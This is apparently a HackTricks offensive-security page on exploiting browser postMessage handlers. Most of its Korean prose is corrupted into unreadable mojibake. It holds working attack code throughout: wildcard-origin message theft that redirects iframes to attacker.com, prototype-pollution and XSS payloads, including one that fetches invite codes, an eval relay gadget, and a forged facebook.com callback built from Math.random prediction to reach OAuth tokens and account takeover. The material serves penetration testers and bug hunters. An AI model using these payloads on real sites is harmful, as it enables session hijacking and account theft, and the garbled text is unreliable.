PostMessage ์ทจ์ฝ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ ์ก PostMessage
PostMessage๋ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๊ธฐ ์ํด ๋ค์ ํจ์๋ฅผ ์ฌ์ฉํฉ๋๋ค:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
์ฐธ๊ณ ๋ก targetOrigin์ โ*โ ๋๋ https://company.com. ๊ฐ์ URL์ด ๋ ์ ์์ต๋๋ค.\
๋ ๋ฒ์งธ ์๋๋ฆฌ์ค์์๋ message๋ ํด๋น ๋๋ฉ์ธ์ผ๋ก๋ง ์ ์ก๋ ์ ์์ต๋๋ค (window ๊ฐ์ฒด์ origin์ด ๋ค๋ฅด๋๋ผ๋).\
๋ง์ฝ wildcard๊ฐ ์ฌ์ฉ๋๋ฉด, messages๋ ์ด๋ค ๋๋ฉ์ธ์ผ๋ก๋ ์ ์ก๋ ์ ์์ผ๋ฉฐ, Window ๊ฐ์ฒด์ origin์ผ๋ก ์ ์ก๋ฉ๋๋ค.
targetOrigin์ iframe & wildcard ๊ณต๊ฒฉ
์์ this report์์ ์ค๋ช
ํ ๊ฒ์ฒ๋ผ, ๋ง์ฝ ํ๋ ์์ผ๋ก ํฌํจ๋ ์ ์๋ ํ์ด์ง(iframed, no X-Frame-Header protection)๋ฅผ ์ฐพ๊ณ ๊ทธ ํ์ด์ง๊ฐ wildcard(*)๋ฅผ ์ฌ์ฉํ์ฌ postMessage๋ก sending sensitive message๋ฅผ ์ ์กํ๊ณ ์๋ค๋ฉด, iframe์ origin์ modifyํ์ฌ ๊ทธ sensitive message๋ฅผ ๋น์ ์ด ์ ์ดํ๋ ๋๋ฉ์ธ์ผ๋ก leakํ ์ ์์ต๋๋ค.\
ํ์ด์ง๋ iframed ๋ ์ ์์ง๋ง targetOrigin์ด wildcard๊ฐ ์๋๋ผ URL๋ก ์ค์ ๋์ด ์๋ค๋ฉด, ์ด trick์ ์๋ํ์ง ์์ต๋๋ค.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener ๋ JS์์ postMessages๋ฅผ ๊ธฐ๋ํ๋ ํจ์๋ฅผ ์ ์ธํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
๋ค์๊ณผ ์ ์ฌํ ์ฝ๋๊ฐ ์ฌ์ฉ๋ฉ๋๋ค:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesnโt check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
์ด๊ฑฐ
ํ์ฌ ํ์ด์ง์์ event listeners ์ฐพ๊ธฐ ์ํด ๋ค์์ ์ํํ ์ ์๋ค:
- JS ์ฝ๋์์
window.addEventListener์$(window).on๊ฒ์ (JQuery version) - ๊ฐ๋ฐ์ ๋๊ตฌ ์ฝ์์์ ์คํ:
getEventListeners(window)
 (1).png)
- ๊ฐ๋ฐ์ ๋๊ตฌ์์ ์ด๋: Elements โ> Event Listeners
.png)
- browser extension ์ฌ์ฉ: https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. ์ด ๋ธ๋ผ์ฐ์ ํ์ฅ์ ๋ชจ๋ ๋ฉ์์ง๋ฅผ ๊ฐ๋ก์ฑ์ด ํ์ํ๋ค.
Origin ์ฒดํฌ ์ฐํ
event.isTrusted์์ฑ์ genuine user actions๋ก ์์ฑ๋ ์ด๋ฒคํธ์์๋งTrue๋ฅผ ๋ฐํํ๋ฏ๋ก ์์ ํ๋ค๊ณ ๊ฐ์ฃผ๋๋ค. ์ฌ๋ฐ๋ฅด๊ฒ ๊ตฌํ๋์ด ์๋ค๋ฉด ์ฐํํ๊ธฐ ์ด๋ ต์ง๋ง, ๋ณด์ ๊ฒ์ฌ์์์ ์ค์์ฑ์ ํฌ๋ค.- PostMessage ์ด๋ฒคํธ์์ origin ๊ฒ์ฆ์ **
indexOf()**๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ์ฐํ๋ ์ ์๋ค. ์์๋ ๋ค์๊ณผ ๊ฐ๋ค:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()์search()๋ฉ์๋๋ ๋ฌธ์์ด์ด ์๋ ์ ๊ท์์ฉ์ผ๋ก ์ค๊ณ๋์๋ค. regexp๊ฐ ์๋ ๊ฐ์ ์ ๋ฌํ๋ฉด ์๋ฌต์ ์ผ๋ก ์ ๊ท์์ผ๋ก ๋ณํ๋์ด ๋ฉ์๋๊ฐ ์ ์ฌ์ ์ผ๋ก ์์ ํ์ง ์์ ์ ์๋ค. ์ ๊ท์์์ ์ (.)์ ์์ผ๋์นด๋๋ก ๋์ํ๋ฏ๋ก, ํน์ํ๊ฒ ์กฐ์๋ ๋๋ฉ์ธ์ ํตํด ๊ฒ์ฆ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค. ์๋ฅผ ๋ค๋ฉด:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()ํจ์๋search()์ ์ ์ฌํ๊ฒ ์ ๊ท์์ ์ฒ๋ฆฌํ๋ค. ์ ๊ท์์ด ์๋ชป ๊ตฌ์ฑ๋์ด ์์ผ๋ฉด ์ฐํ๋ ์ ์๋ค. -
escapeHtmlํจ์๋ ๋ฌธ์๋ฅผ ์ด์ค์ผ์ดํํ์ฌ ์ ๋ ฅ์ ์๋ ํ๋ ค๋ ๋ชฉ์ ์ด๋ค. ํ์ง๋ง ์๋ก์ด ์ด์ค์ผ์ดํ๋ ๊ฐ์ฒด๋ฅผ ์์ฑํ์ง ์๊ณ ๊ธฐ์กด ๊ฐ์ฒด์ ์์ฑ์ ๋ฎ์ด์ด๋ค. ์ด ๋์์ ์ ์ฉ๋ ์ ์๋ค. ํนํ, ์ ์ด ๊ฐ๋ฅํ ๊ฐ์ฒด์ ์์ฑ์ดhasOwnProperty๋ฅผ ์ธ์ํ์ง ๋ชปํ๋๋ก ์กฐ์ํ ์ ์๋ค๋ฉด,escapeHtml์ ์์๋๋ก ๋์ํ์ง ์๋๋ค. ์๋ ์์ ์์ ์ด๋ฅผ ๋ณด์ฌ์ค๋ค: -
์์ ์คํจ:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- escape ์ฐํ:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
์ด ์ทจ์ฝ์ ์ ๋งฅ๋ฝ์์, File ๊ฐ์ฒด๋ ์ฝ๊ธฐ ์ ์ฉ name ์์ฑ ๋๋ฌธ์ ํนํ ์
์ฉ ๊ฐ๋ฅํ๋ค. ์ด ์์ฑ์ ํ
ํ๋ฆฟ์์ ์ฌ์ฉ๋ ๋ escapeHtml์ ์ํด ์๋
๋์ง ์์ ๋ณด์ ์ํ์ ์ด๋ํ ์ ์๋ค.
- ์๋ฐ์คํฌ๋ฆฝํธ์
document.domain์์ฑ์ ์คํฌ๋ฆฝํธ์ ์ํด ๋๋ฉ์ธ์ ์ถ์ฝํ๋๋ก ์ค์ ๋ ์ ์์ผ๋ฉฐ, ๋์ผํ ์์ ๋๋ฉ์ธ ๋ด์์ ๋ ๋์จํ same-origin ์ ์ฑ ์ ์ฉ์ ํ์ฉํ ์ ์๋ค.
Origin-only trust + trusted relays
์์ ์๊ฐ **event.origin**๋ง ๊ฒ์ฌํ๋ ๊ฒฝ์ฐ(์: *.trusted.com์ ๋ชจ๋ ์ ๋ขฐ), ํด๋น origin์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋ผ๋ฏธํฐ๋ฅผ postMessage๋ฅผ ํตํด ์ ๊ณต๋ targetOrigin/targetWindow๋ก ๋ฐ์ฌํ๋ โrelayโ ํ์ด์ง๋ฅผ ์ข
์ข
์ฐพ์ ์ ์๋ค. ์์๋ก๋ ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ {msg_type, access_token, ...}๋ฅผ opener/parent๋ก ์ ๋ฌํ๋ marketing/analytics ๊ฐ์ ฏ์ด ์๋ค. ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์๋ค:
- opener๊ฐ ์๋ popup/iframe์์ ํผํด์ ํ์ด์ง๋ฅผ ์ด์ด ํธ๋ค๋ฌ๊ฐ ๋ฑ๋ก๋๊ฒ ํ๋ค(๋ง์ ํฝ์
/SDK๋
window.opener๊ฐ ์กด์ฌํ ๋๋ง ๋ฆฌ์ค๋๋ฅผ ๋ถ์). - ๋ค๋ฅธ ๊ณต๊ฒฉ์ ์ฐฝ์ ์ ๋ขฐ๋ origin์ relay ์๋ํฌ์ธํธ๋ก ์ด๋์์ผ, ์ฃผ์ ํ๊ณ ์ ํ๋ ๋ฉ์์ง ํ๋(๋ฉ์์ง ํ์ , ํ ํฐ, nonce ๋ฑ)๋ฅผ ์ฑ์ด๋ค.
- ๋ฉ์์ง๊ฐ ์ด์ trusted origin์์ ์จ ๊ฒ์ฒ๋ผ ๋ณด์ด๋ฏ๋ก, origin-only ๊ฒ์ฆ์ ํต๊ณผํ๊ณ ํผํด์ ๋ฆฌ์ค๋์์ ๊ถํ ์๋ ๋์(์ํ ๋ณ๊ฒฝ, API ํธ์ถ, DOM ์ฐ๊ธฐ ๋ฑ)์ ํธ๋ฆฌ๊ฑฐํ ์ ์๋ค.
์ค์ ์์ ๊ด์ฐฐ๋ ์ ์ฉ ํจํด:
- Analytics SDK๋ค(์: pixel/fbevents-style)์
FACEBOOK_IWL_BOOTSTRAP๊ฐ์ ๋ฉ์์ง๋ฅผ ์๋นํ ํ, ๋ฉ์์ง์ ํฌํจ๋ ํ ํฐ์ ์ฌ์ฉํด ๋ฐฑ์๋ API๋ฅผ ํธ์ถํ๊ณ ์์ฒญ ๋ณธ๋ฌธ์ **location.href/document.referrer**๋ฅผ ํฌํจ์ํจ๋ค. ๊ณต๊ฒฉ์๊ฐ ์์ฒด ํ ํฐ์ ์ ๊ณตํ๋ฉด ํด๋น ํ ํฐ์ ์์ฒญ ์ด๋ ฅ/๋ก๊ทธ์์ ์ด๋ฌํ ์์ฒญ์ ์ฝ๊ณ ํผํด์ ํ์ด์ง์ URL/referrer์ ์๋ OAuth ์ฝ๋/ํ ํฐ์ exfilํ ์ ์๋ค. - ์์์ ํ๋๋ฅผ
postMessage๋ก ๋ฐ์ฌํ๋ ์ด๋ค relay๋ , ๊ถํ ์๋ ๋ฆฌ์ค๋๊ฐ ๊ธฐ๋ํ๋ ๋ฉ์์ง ํ์ ์ ์คํธํํ๊ฒ ํด์ค๋ค. ์ทจ์ฝํ ์ ๋ ฅ ๊ฒ์ฆ๊ณผ ๊ฒฐํฉํ๋ฉด Graph/REST ํธ์ถ, ๊ธฐ๋ฅ ์ ๊ธ ํด์ , ๋๋ CSRF์ ์ ์ฌํ ํ๋ฆ์ ๋๋ฌํ ์ ์๋ค.
ํํ
ํ: postMessage ๋ฆฌ์ค๋ ์ค event.origin๋ง ๊ฒ์ฌํ๋ ๊ฒ๋ค์ ์ด๊ฑฐ(enumerate)ํ ๋ค์, URL ํ๋ผ๋ฏธํฐ๋ฅผ postMessage๋ก ์ ๋ฌํ๋ same-origin HTML/JS ์๋ํฌ์ธํธ(marketing previews, ๋ก๊ทธ์ธ ํ์
, OAuth ์ค๋ฅ ํ์ด์ง)๋ฅผ ์ฐพ์๋ผ. window.open() + postMessage๋ฅผ ์กฐํฉํด origin ๊ฒ์ฆ์ ์ฐํํ๋ผ.
e.origin == window.origin ์ฐํ
sandboxed iframe์ %%%%%% ์ฌ์ฉํด ์๋ฒ ๋ํ ๋, iframe์ origin์ด null๋ก ์ค์ ๋๋ค๋ ์ ์ ์ดํดํ๋ ๊ฒ์ด ์ค์ํ๋ค. ์ด๋ sandbox ์์ฑ๊ณผ ๊ทธ ๋ณด์ ๋ฐ ๊ธฐ๋ฅ ์ํฅ๊ณผ ๊ด๋ จํ์ฌ ํนํ ์ค์ํ๋ค.
sandbox ์์ฑ์ **allow-popups**๋ฅผ ์ง์ ํ๋ฉด, iframe ๋ด๋ถ์์ ์ด๋ฆฐ ๋ชจ๋ popup ์ฐฝ์ ๋ถ๋ชจ์ sandbox ์ ํ์ ์์ํ๋ค. ๋ฐ๋ผ์ allow-popups-to-escape-sandbox ์์ฑ์ด ํฌํจ๋์ง ์์ผ๋ฉด popup ์ฐฝ์ origin ์ญ์ null๋ก ์ค์ ๋์ด iframe์ origin๊ณผ ์ผ์นํ๋ค.
๊ทธ ๊ฒฐ๊ณผ, ์ด๋ฌํ ์กฐ๊ฑด์์ popup์ด ์ด๋ฆฌ๊ณ iframe์์ popup์ผ๋ก **postMessage**๋ก ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ๊ฒฝ์ฐ, ์ก์ ์ธก๊ณผ ์์ ์ธก ๋ชจ๋ origin์ด null๋ก ์ค์ ๋๋ค. ์ด ์ํฉ์์๋ iframe๊ณผ popup์ด ๋ชจ๋ null์ด๋ผ๋ ๋์ผํ origin ๊ฐ์ ๊ณต์ ํ๋ฏ๋ก **e.origin == window.origin**์ด true๋ก ํ๊ฐ๋๋ค(null == null).
For more information read:
Bypassing SOP with Iframes - 1
e.source ์ฐํ
๋ฉ์์ง๊ฐ ์คํฌ๋ฆฝํธ๊ฐ ๋ฆฌ์ค๋ํ๊ณ ์๋ ๋์ผํ ์ฐฝ์์ ์๋์ง ํ์ธํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค(ํนํ Content Scripts from browser extensions๊ฐ ๋ฉ์์ง๊ฐ ๋์ผํ ํ์ด์ง์์ ์ ์ก๋์๋์ง ํ์ธํ ๋ ํฅ๋ฏธ๋กญ๋ค):
// If itโs not, return immediately.
if (received_message.source !== window) {
return
}
๋ฉ์์ง์ e.source ๊ฐ์ null๋ก ๋ง๋ค๋ ค๋ฉด iframe์ด postMessage๋ฅผ ์ ์กํ๊ณ ์ฆ์ ์ญ์ ๋๋๋ก ์์ฑํ๋ฉด ๋ฉ๋๋ค.
์์ธํ ๋ด์ฉ์ ์ฝ์ด๋ณด์ธ์:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
์ด ๊ณต๊ฒฉ์ ์ํํ๋ ค๋ฉด ์ด์์ ์ผ๋ก๋ ํผํด์ ์น ํ์ด์ง๋ฅผ iframe ์์ ๋ฃ์ ์ ์์ด์ผ ํฉ๋๋ค. ํ์ง๋ง X-Frame-Header ๊ฐ์ ์ผ๋ถ ํค๋๋ ํด๋น ๋์์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
๊ทธ๋ฐ ๊ฒฝ์ฐ์๋ ๋ ์๋ฐํ ๊ณต๊ฒฉ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ทจ์ฝํ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ์ ํญ์ผ๋ก ์ด๊ณ ํด๋น ํญ๊ณผ ํต์ ํ ์ ์์ต๋๋ค:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Stealing message sent to child by blocking the main page
๋ค์ ํ์ด์ง์์๋ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ธฐ ์ ์ blocking๋ main ํ์ด์ง๋ฅผ ์ด์ฉํด child iframe๋ก ์ ์ก๋ sensitive postmessage data๋ฅผ XSS in the child๋ฅผ ์ ์ฉํด ์์ ๋๊ธฐ ์ ์ leak the dataํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ณผ ์ ์์ต๋๋ค:
Blocking main page to steal postmessage
Stealing message by modifying iframe location
X-Frame-Header๊ฐ ์๋ ์นํ์ด์ง๋ฅผ iframeํ ์ ์๊ณ ๊ทธ ํ์ด์ง๊ฐ ๋ค๋ฅธ iframe์ ํฌํจํ๊ณ ์๋ค๋ฉด, change the location of that child iframeํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๋ง์ฝ ๊ทธ iframe์ด postmessage๋ฅผ wildcard๋ก ์ ์ก๋ฐ๊ณ ์๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ํด๋น iframe์ origin์ ์์ ์ด controlledํ๋ ํ์ด์ง๋ก changeํ์ฌ ๋ฉ์์ง๋ฅผ stealํ ์ ์์ต๋๋ค:
Steal postmessage modifying iframe location
postMessage๋ฅผ ํตํ Prototype Pollution ๋ฐ/๋๋ XSS
postMessage๋ก ์ ์ก๋ ๋ฐ์ดํฐ๊ฐ JS์ ์ํด ์คํ๋๋ ์๋๋ฆฌ์ค์์๋, ํด๋น page๋ฅผ iframeํ๊ณ postMessage๋ก ์ต์คํ๋ก์์ ๋ณด๋ด prototype pollution/XSS๋ฅผ exploitํ ์ ์์ต๋๋ค.
A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Example of an exploit to abuse Prototype Pollution and then XSS through a postMessage to an iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
์ถ๊ฐ ์ ๋ณด:
- prototype pollution์ ๊ดํ ํ์ด์ง
- XSS์ ๊ดํ ํ์ด์ง
- client side prototype pollution to XSS์ ๊ดํ ํ์ด์ง
Origin-derived ์คํฌ๋ฆฝํธ ๋ก๋ฉ ๋ฐ ๊ณต๊ธ๋ง ํผ๋ฒ (CAPIG ์ฌ๋ก ์ฐ๊ตฌ)
capig-events.js๋ window.opener๊ฐ ์กด์ฌํ ๋๋ง message ํธ๋ค๋ฌ๋ฅผ ๋ฑ๋กํ์ต๋๋ค. IWL_BOOTSTRAP ์์๋ pixel_id๋ฅผ ํ์ธํ์ง๋ง event.origin์ ์ ์ฅํ๊ณ ์ดํ ${host}/sdk/${pixel_id}/iwl.js๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉํ์ต๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ origin์ ๊ธฐ๋กํ๋ ํธ๋ค๋ฌ
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin โ script-src pivot):
- Get an opener: e.g., in Facebook Android WebView reuse
window.namewithwindow.open(target, name)so the window becomes its own opener, then post a message from a malicious iframe. - Send
IWL_BOOTSTRAPfrom any origin to persisthost = event.origininlocalStorage. - Host
/sdk/<pixel_id>/iwl.json any CSP-allowed origin (takeover/XSS/upload on a whitelisted analytics domain).startIWL()then loads attacker JS in the embedding site (e.g.,www.meta.com), enabling credentialed cross-origin calls and account takeover.
If direct opener control was impossible, compromising a third-party iframe on the page still allowed sending the crafted postMessage to the parent to poison the stored host and force the script load.
Backend-generated shared script โ stored XSS: the plugin AHPixelIWLParametersPlugin concatenated user rule parameters into JS appended to capig-events.js (e.g., cbq.config.set(...)). Injecting breakouts like "]} injected arbitrary JS, creating stored XSS in the shared script served to all sites loading it.
Trusted-origin allowlist isnโt a boundary
A strict event.origin check only works if the trusted origin cannot run attacker JS. When privileged pages embed third-party iframes and assume event.origin === "https://partner.com" is safe, any XSS in partner.com becomes a bridge into the parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
์ค์ ๋ก ๊ด์ฐฐ๋ ๊ณต๊ฒฉ ํจํด:
- Exploit XSS in the partner iframe ๋ฐ relay gadget๋ฅผ ์ฝ์
ํ์ฌ ๋ชจ๋
postMessage๊ฐ ์ ๋ขฐ๋ origin ๋ด๋ถ์์ code exec๊ฐ ๋๋๋ก ํจ:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, ์ทจ์ฝํด์ง iframe์ JS๋ฅผ ๋ณด๋ด ๋ถ๋ชจ๋ก ํ์ฉ๋ ๋ฉ์์ง ํ์
์ ์ ๋ฌํ๋๋ก ํ๋ค. ๋ฉ์์ง๋
partner.com์์ ๋ฐ์ํ๊ณ allowlist๋ฅผ ํต๊ณผํ๋ฉฐ ์์ ํ์ง ์๊ฒ ์ฝ์ ๋๋ HTML์ ๋ด๊ณ ์๋ค:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- ๋ถ๋ชจ๊ฐ ๊ณต๊ฒฉ์ HTML์ ์ฃผ์
ํ๋ฉด JS execution in the parent origin(์:
facebook.com)์ด ๋ฐ์ํ์ฌ OAuth ์ฝ๋๋ฅผ ํ์ทจํ๊ฑฐ๋ ์ ์ฒด ๊ณ์ ํ์ทจ ํ๋ฆ์ผ๋ก ํผ๋ฒํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
Key takeaways:
- Partner origin isnโt a boundary: โtrustedโ ํํธ๋์์ ๋ฐ์ํ ์ด๋ค XSS๋ ๊ณต๊ฒฉ์๊ฐ ํ์ฉ๋ ๋ฉ์์ง๋ฅผ ๋ณด๋ด
event.origin๊ฒ์ฌ๋ฅผ ์ฐํํ๊ฒ ํด์ค๋๋ค. - Handlers that render partner-controlled payloads (์:
innerHTMLon specific message types)๋ ํํธ๋๊ฐ ์นจํด๋ ๊ฒฝ์ฐ same-origin DOM XSS๋ฅผ ์ด๋ํฉ๋๋ค. - ๋์ message surface(๋ค์ํ ํ์ , ๊ตฌ์กฐ ๊ฒ์ฆ ์์)๋ ํํธ๋ iframe์ด ์นจํด๋์์ ๋ ํผ๋ฒํ ๋ ๋ง์ gadgets๋ฅผ ์ ๊ณตํฉ๋๋ค.
Predicting Math.random() callback tokens in postMessage bridges
๋ฉ์์ง ๊ฒ์ฆ์ด Math.random()์ผ๋ก ์์ฑ๋ โshared secretโ(์: guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") })์ ์ฌ์ฉํ๊ณ ๋์ผํ ํฌํผ๊ฐ plugin iframes์ ์ด๋ฆ๋ ์ง์ ํ๋ค๋ฉด PRNG ์ถ๋ ฅ๊ฐ์ ๋ณต๊ตฌํ๊ณ ์ ๋ขฐ๋ ๋ฉ์์ง๋ฅผ ์์กฐํ ์ ์์ต๋๋ค:
- Leak PRNG outputs via
window.name: SDK๋ plugin iframes์guid()๋ก ์๋ ์ด๋ฆ์ ๋ถ์ฌํฉ๋๋ค. ์์ ํ๋ ์์ ์ ์ดํ ์ ์๋ค๋ฉด victim ํ์ด์ง๋ฅผ iframe์ผ๋ก ๋ก๋ํ ๋ค plugin iframe์ ๋น์ ์ origin์ผ๋ก ์ด๋์์ผ(์:window.frames[0].frames[0].location='https://attacker.com')window.frames[0].frames[0].name์ ์ฝ์ด ์์Math.random()์ถ๋ ฅ์ ์ป์ ์ ์์ต๋๋ค. - Force more outputs without reloads: ์ผ๋ถ SDK๋ reinit ๊ฒฝ๋ก๋ฅผ ๋
ธ์ถํฉ๋๋ค; FB SDK์์๋
{xfbml:1}์ ํจ๊ปinit:post๋ฅผ ๋ฐ์์ํค๋ฉดXFBML.parse()๊ฐ ๊ฐ์ ๋์ด plugin iframe์ ํ๊ดด/์ฌ์์ฑํ๊ณ ์๋ก์ด ์ด๋ฆ/์ฝ๋ฐฑ ID๋ฅผ ์์ฑํฉ๋๋ค. ๋ฐ๋ณต reinit์ผ๋ก ํ์ํ ๋งํผ PRNG ์ถ๋ ฅ์ ์์ฑํ ์ ์์ต๋๋ค(์ฝ๋ฐฑ/iframe ID์ฉ ์ถ๊ฐ ๋ด๋ถMath.random()ํธ์ถ์ด ์์ผ๋ฏ๋ก ์ค๊ฐ ๊ฐ์ ๊ฑด๋๋ฐ์ด์ผ ํฉ๋๋ค). - Trusted-origin delivery via parameter pollution: first-party plugin endpoint๊ฐ ์ ์ ๋์ง ์์ ํ๋ผ๋ฏธํฐ๋ฅผ cross-window payload์ ๋ฐ์(reflect)ํ๋ค๋ฉด(์:
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ์ ๋ขฐ๋facebook.comorigin์ ์ ์งํ๋ฉด์&type=...&iconSVG=...๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. - Predict the next callback: ์ ์ถ๋ iframe ์ด๋ฆ์
[0,1)์ ๋ถ๋์์์ ์ผ๋ก ๋ณํํ๊ณ ์ฌ๋ฌ ๊ฐ์(๋น์ฐ์์ ์ด์ด๋ ๊ฐ๋ฅ) V8Math.random์์ธก๊ธฐ(์: Z3 ๊ธฐ๋ฐ)์ ์ ๋ ฅํ์ธ์. ๋ก์ปฌ์์ ๋ค์guid()๋ฅผ ์์ฑํด ์์๋๋ ์ฝ๋ฐฑ ํ ํฐ์ ์์กฐํฉ๋๋ค. - Trigger the sink: postMessage ๋ฐ์ดํฐ๋ฅผ ์กฐ์ํด ๋ธ๋ฆฌ์ง๊ฐ
xd.mpn.setupIconIframe๋ฅผ ๋์คํจ์นํ๊ณiconSVG์ HTML์ ์ฃผ์ ํ๋๋ก ํ์ธ์(์: URL-encoded<img src=x onerror=...>). ์ด๋ ๊ฒ ํ๋ฉด ํธ์คํ origin ๋ด๋ถ์์ DOM XSS๊ฐ ๋ฐ์ํ๊ณ , ๊ฑฐ๊ธฐ์๋ถํฐ same-origin iframe๋ค(OAuth dialogs, arbiters ๋ฑ)์ ์ฝ์ ์ ์์ต๋๋ค. - Framing quirks help: ์ด ์ฒด์ธ์ framing์ ํ์๋ก ํฉ๋๋ค. ์ผ๋ถ ๋ชจ๋ฐ์ผ webview์์๋
frame-ancestors๊ฐ ์กด์ฌํ ๋X-Frame-Options๊ฐ ์ง์๋์ง ์๋ALLOW-FROM์ผ๋ก ํดํํ ์ ์๊ณ , โcompatโ ํ๋ผ๋ฏธํฐ๊ฐ ๊ด๋ํframe-ancestors๋ฅผ ๊ฐ์ ํดwindow.name์ฌ์ด๋ ์ฑ๋์ ๊ฐ๋ฅํ๊ฒ ํ ์ ์์ต๋๋ค.
์ต์ ์์กฐ ๋ฉ์์ง ์์
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
์ฐธ๊ณ ์๋ฃ
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
